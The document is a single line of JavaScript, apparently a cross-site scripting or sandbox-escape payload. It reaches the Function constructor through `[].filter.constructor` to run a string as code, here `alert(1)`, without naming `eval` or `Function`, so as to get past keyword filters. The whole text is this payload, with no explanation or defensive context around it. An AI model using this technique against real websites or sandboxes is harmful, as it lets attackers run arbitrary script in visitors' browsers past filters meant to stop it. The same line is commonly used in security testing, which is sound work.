[].filter.constructor('alert(1)')();